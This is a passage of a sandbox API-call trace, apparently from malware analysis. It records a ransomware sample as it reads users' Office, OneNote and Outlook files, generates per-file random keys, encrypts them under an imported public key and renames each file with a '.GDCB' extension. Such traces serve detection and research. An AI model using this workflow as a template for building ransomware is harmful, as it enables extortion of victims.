pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0138.850] GetLastError () returned 0x0 [0138.850] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.850] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\N1gDhnyQRsiczzqYbfB.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\n1gdhnyqrsiczzqybfb.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0138.850] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.850] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.850] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x6a36, lpOverlapped=0x0) returned 1 [0138.877] VirtualAlloc (lpAddress=0x0, dwSize=0x6a40, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.881] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\N1gDhnyQRsiczzqYbfB.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\n1gdhnyqrsiczzqybfb.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\N1gDhnyQRsiczzqYbfB.pptx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\n1gdhnyqrsiczzqybfb.pptx.gdcb")) returned 1 [0138.881] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0138.882] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.882] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.882] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0138.882] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.882] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0138.883] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.883] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.883] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0138.883] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.883] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0138.885] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34cb28) returned 1 [0138.885] CryptGetKeyParam (in: hKey=0x34cb28, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.885] CryptEncrypt (in: hKey=0x34cb28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0138.885] GetLastError () returned 0x0 [0138.885] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.885] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0138.887] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34cfe8) returned 1 [0138.887] CryptGetKeyParam (in: hKey=0x34cfe8, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.887] CryptEncrypt (in: hKey=0x34cfe8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0138.888] GetLastError () returned 0x0 [0138.888] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.888] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\niXUM m_uKc.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\nixum m_ukc.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0138.888] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.888] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.888] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0xdade, lpOverlapped=0x0) returned 1 [0138.898] VirtualAlloc (lpAddress=0x0, dwSize=0xdae0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.902] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\niXUM m_uKc.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\nixum m_ukc.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\niXUM m_uKc.xlsx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\nixum m_ukc.xlsx.gdcb")) returned 1 [0138.903] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0138.904] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.904] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.904] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0138.904] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.904] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed0e0) returned 1 [0138.904] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.904] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.904] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0138.904] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0138.905] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0138.906] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34d4a8) returned 1 [0138.906] CryptGetKeyParam (in: hKey=0x34d4a8, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.906] CryptEncrypt (in: hKey=0x34d4a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0138.907] GetLastError () returned 0x0 [0138.907] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0138.907] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0138.908] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34d468) returned 1 [0138.909] CryptGetKeyParam (in: hKey=0x34d468, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.909] CryptEncrypt (in: hKey=0x34d468, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0138.909] GetLastError () returned 0x0 [0138.909] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.909] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oMlpnA 6XmkBTGxeBEL.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\omlpna 6xmkbtgxebel.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0138.909] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.909] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.910] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x1881a, lpOverlapped=0x0) returned 1 [0138.924] VirtualAlloc (lpAddress=0x0, dwSize=0x18820, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.930] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oMlpnA 6XmkBTGxeBEL.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\omlpna 6xmkbtgxebel.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oMlpnA 6XmkBTGxeBEL.pptx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\omlpna 6xmkbtgxebel.pptx.gdcb")) returned 1 [0138.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0138.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0138.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0138.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0138.932] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0138.932] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0138.932] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0138.932] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0138.974] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0138.975] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.975] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.975] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0138.975] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.975] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0138.975] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.975] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.975] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0138.976] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.976] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed300) returned 1 [0138.978] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34d528) returned 1 [0138.978] CryptGetKeyParam (in: hKey=0x34d528, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.978] CryptEncrypt (in: hKey=0x34d528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0138.978] GetLastError () returned 0x0 [0138.978] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0138.978] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed0e0) returned 1 [0138.980] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x34d028) returned 1 [0138.980] CryptGetKeyParam (in: hKey=0x34d028, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0138.980] CryptEncrypt (in: hKey=0x34d028, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0138.981] GetLastError () returned 0x0 [0138.981] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0138.981] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0138.981] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.981] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.981] ReadFile (in: hFile=0x4f0, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285efc0*=0x57ec8, lpOverlapped=0x0) returned 1 [0139.005] VirtualAlloc (lpAddress=0x0, dwSize=0x57ed0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0139.015] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one.gdcb")) returned 1 [0139.016] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0139.017] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.017] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.017] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0139.017] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.017] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0139.017] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.018] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.018] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0139.018] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.018] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0139.020] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34d068) returned 1 [0139.020] CryptGetKeyParam (in: hKey=0x34d068, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.020] CryptEncrypt (in: hKey=0x34d068, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0139.020] GetLastError () returned 0x0 [0139.020] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.020] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0139.022] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34d0e8) returned 1 [0139.022] CryptGetKeyParam (in: hKey=0x34d0e8, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.022] CryptEncrypt (in: hKey=0x34d0e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0139.022] GetLastError () returned 0x0 [0139.022] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.022] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OOwKqpIl7aYSv RTHK.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oowkqpil7aysv rthk.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0139.022] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0139.022] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.022] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x671b, lpOverlapped=0x0) returned 1 [0139.028] VirtualAlloc (lpAddress=0x0, dwSize=0x6720, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0139.031] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OOwKqpIl7aYSv RTHK.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oowkqpil7aysv rthk.xls"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OOwKqpIl7aYSv RTHK.xls.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oowkqpil7aysv rthk.xls.gdcb")) returned 1 [0139.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0139.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0139.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0139.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0139.035] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.035] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.035] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.035] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.035] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.035] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0139.036] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.036] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.036] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.036] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.036] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.038] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x34d168) returned 1 [0139.038] CryptGetKeyParam (in: hKey=0x34d168, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.038] CryptEncrypt (in: hKey=0x34d168, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.038] GetLastError () returned 0x0 [0139.039] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.039] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0139.040] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x34d668) returned 1 [0139.041] CryptGetKeyParam (in: hKey=0x34d668, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.041] CryptEncrypt (in: hKey=0x34d668, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.041] GetLastError () returned 0x0 [0139.041] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.041] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.041] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0139.041] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.041] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x42400, lpOverlapped=0x0) returned 1 [0139.052] VirtualAlloc (lpAddress=0x0, dwSize=0x42400, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0139.063] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst.gdcb")) returned 1 [0139.068] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0139.069] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.069] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.069] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0139.069] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.069] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0139.070] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.070] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.070] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: 